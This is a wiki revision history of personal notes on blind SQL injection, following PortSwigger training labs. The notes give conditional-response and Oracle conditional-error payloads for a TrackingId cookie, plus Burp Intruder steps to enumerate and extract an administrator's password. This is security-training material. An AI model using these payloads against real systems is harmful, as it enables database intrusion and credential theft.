SQL Injection/Blind - Revision history

Unknown user at 03:17, 22 May 2023

2023-05-22T03:17:58Z

← Older revision		Revision as of 03:17, 22 May 2023
Line 16:		Line 16:

	<code><nowiki>TrackingId=xyz' AND '1'='1</nowiki></code>		<code><nowiki>TrackingId=xyz' AND '1'='1</nowiki></code>

			The page shows a welcome back message

			change it to <code><nowiki>TrackingId=xyz' AND '1'='2</nowiki></code>

			welcome back message disappears. this enables testing a single boolean condition and inferring the result.





	==Blind SQL Injection with Conditional Errors==		==Blind SQL Injection with Conditional Errors==

Unknown user: /* Blind SQL Injection with Conditional Responses */

2023-05-22T03:06:08Z

Blind SQL Injection with Conditional Responses

← Older revision		Revision as of 03:06, 22 May 2023
Line 15:		Line 15:
	Lab 11: Blind SQL injection with conditional responses: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses		Lab 11: Blind SQL injection with conditional responses: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

			<code><nowiki>TrackingId=xyz' AND '1'='1</nowiki></code>

	==Blind SQL Injection with Conditional Errors==		==Blind SQL Injection with Conditional Errors==

Unknown user at 02:50, 22 May 2023

2023-05-22T02:50:56Z

← Older revision		Revision as of 02:50, 22 May 2023
Line 10:		Line 10:

	Example: requests to a web application contain a cookie with a tracking ID that is sent in a header. That tracking ID is used by the server in an SQL query, and depending on the result of the query, the page will render differently for the end user.		Example: requests to a web application contain a cookie with a tracking ID that is sent in a header. That tracking ID is used by the server in an SQL query, and depending on the result of the query, the page will render differently for the end user.

			==Blind SQL Injection with Conditional Responses==

			Lab 11: Blind SQL injection with conditional responses: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses



	==Blind SQL Injection with Conditional Errors==		==Blind SQL Injection with Conditional Errors==

Unknown user: /* Blind SQL Injection with Conditional Errors */

2023-05-22T02:39:55Z

Blind SQL Injection with Conditional Errors

← Older revision		Revision as of 02:39, 22 May 2023
Line 13:		Line 13:
	==Blind SQL Injection with Conditional Errors==		==Blind SQL Injection with Conditional Errors==

	Lab 12: Blind SQL injection with conditional errors		Lab 12: Blind SQL injection with conditional errors: https://portswigger.net/web-security/sql-injection/blind

	~~https:~~/~~/portswigger.net/web-security/sql-injection/blind~~		"conditional errors" means, we are injecting conditional statements, and intentionally causing errors when certain conditions are met/not met

			that allows us to "see" the state of the data in the database

	step 1: prove parameter is vulnerable		step 1: prove parameter is vulnerable

Unknown user at 02:37, 22 May 2023

2023-05-22T02:37:39Z

← Older revision		Revision as of 02:37, 22 May 2023
Line 10:		Line 10:

	Example: requests to a web application contain a cookie with a tracking ID that is sent in a header. That tracking ID is used by the server in an SQL query, and depending on the result of the query, the page will render differently for the end user.		Example: requests to a web application contain a cookie with a tracking ID that is sent in a header. That tracking ID is used by the server in an SQL query, and depending on the result of the query, the page will render differently for the end user.

			==Blind SQL Injection with Conditional Errors==

			Lab 12: Blind SQL injection with conditional errors

			https://portswigger.net/web-security/sql-injection/blind

			step 1: prove parameter is vulnerable
			* to prove the parameter is vulnerable to SQL injection, use concat operator <code>\|\|</code>
			* <code><nowiki>' \|\| (select '') \|\| '</nowiki></code>
			* this is a well-formatted SQL query, but returns a 500 error
			* weird, because this should work, not return a 500 error
			* indication that this could be an oracle database, since it requires a FROM clause to be well-formatted
			* <code><nowiki>' \|\| (select '' from dual) \|\| '</nowiki></code>
			* Paste that SQL into the Cookie TrackingId, use Control + U to URL encode it
			* dual is a built-in Oracle database
			* this works, indicating this is, in fact, an Oracle database
			* but if we replace "dual" with "dualoiweuroqiurepoiquwer" then it fails

			step 2: confirm users table exists in database
			* <code>' \|\| (select '' from users) \|\| '</code>
			* this returns an internal server error
			* the problem may be with the number of fields returned (???)
			* modify query to the following:
			* <code>' \|\| (select '' from users where rownum = 1) \|\| '</code>
			* that returns a 200, indicating there is, in fact, a users table in the daatabase

			step 3: confirm the administrator user exists in the users table
			* to do this: modify prior SQL query
			* <code><nowiki>' \|\| (select '' from users where username='administrator') \|\| '</nowiki></code>
			* the problem: either way, this will return a 200 (if there is no administrator user, just doesn't return anything)
			* solution: add conditional, and divide by zero if conditional is met
			* <code><nowiki>' \|\| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) \|\| '</nowiki></code> should cause an error
			* <code><nowiki>' \|\| (select CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) \|\| '</nowiki></code> should NOT cause an error
			* now we can use that to check for the username:
			* <code><nowiki>' \|\| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') \|\| '</nowiki></code>
			* the FROM section is executed first. if it is true, then it executes the select portion of the query (which raises an error). if it is false, then it skips the select portion of the query, so it never outputs an error.
			* in other words, 200 response means user does not exist in database

			step 4: check the length of the password by modifying the same query
			* <code><nowiki>' \|\| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>1) \|\| '</nowiki></code>
			* the FROM section is executed first. if it is true (if password length > 1), it raises a 500 error. increment 1 until you get the final length of the password (whatever password length it returns 200 for).
			* to generate lots of requests, right-click request and choose Send to Intruder
			* Intruder > Positions > Clear
			* select "1" (password length) and choose Add
			* Intruder > Payloads > Numbers, sequential, from 1 to 50, step count of 1
			* when payload of 20 is sent, it returns a 200 status code
			* so, we know length of password is 20 (condition is not met when > 20)

			step 5: output the administrator password
			* we have 20 characters to enumerate
			* modify query from preceding, but use substring function
			* <code><nowiki>' \|\| (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and SUBSTR(password,1,1)='a') \|\| '</nowiki></code>
			* how does this work?
			* first thing that gets run is the FROM clause, which checks if there is a users table and a username administrator, and it checks if the first character is equal to a. if so, it will run the CASE statement, which will run the code that raises the error.
			* 200 response means first character of password is NOT a
			* 500 response means first character of password IS a
			* copy that SQL query and put it into Repeater:
			* copy and paste into TrackingId
			* Control + U to URL encode it
			* 200 response - meaning a is not the first character of the password
			* Intruder > Positions > Clear
			* select "a" and choose Add,
			* then go to Intruder > Payloads
			* Payload Type: Brute forcer (tries all the alphanumeric characters)
			* min length = 1, max length = 1
			* generates 36 requests,
			* looking for one 500 response ("w")
			* next, try for second, then third, and so on.
			* instead of doing that 20 times, automate it:

			step 6: automate the attack in burp suite
			* Intruder > Positions
			* Change Attack type to Cluster bomb
			* select substring position number "1" and choose Add. select character "a" being checked and choose Add.
			* Intruder > Payloads
			* payload parameter 1 - position - Numbers type (from 1, to 20, step 1) - iterates over each letter position.
			* payload parameter 2 - letter - Brute forcer (all alphanumeric characters, min length = max length = 1)
			* this will generate 720 requests total
			* filter > filter by response code (500 only)
			* write it out, punch it in.

Unknown user at 20:47, 21 May 2023

2023-05-21T20:47:17Z

← Older revision		Revision as of 20:47, 21 May 2023
Line 2:		Line 2:

	A short guide to blind SQL injection.		A short guide to blind SQL injection.

			==Basic Overview==

			Link: https://portswigger.net/web-security/sql-injection/blind

			Blind SQL injection is an attempt to tamper with parameters that are fed into SQL queries, but whose results are not returned directly to the user.

			Example: requests to a web application contain a cookie with a tracking ID that is sent in a header. That tracking ID is used by the server in an SQL query, and depending on the result of the query, the page will render differently for the end user.

Unknown user at 20:44, 21 May 2023

2023-05-21T20:44:20Z

← Older revision		Revision as of 20:44, 21 May 2023
Line 1:		Line 1:
			{{Main\|SQL Injection}}

	A short guide to blind SQL injection.		A short guide to blind SQL injection.

Unknown user: Created page with "A short guide to blind SQL injection."

2023-05-21T20:44:10Z

Created page with "A short guide to blind SQL injection."

New page

A short guide to blind SQL injection.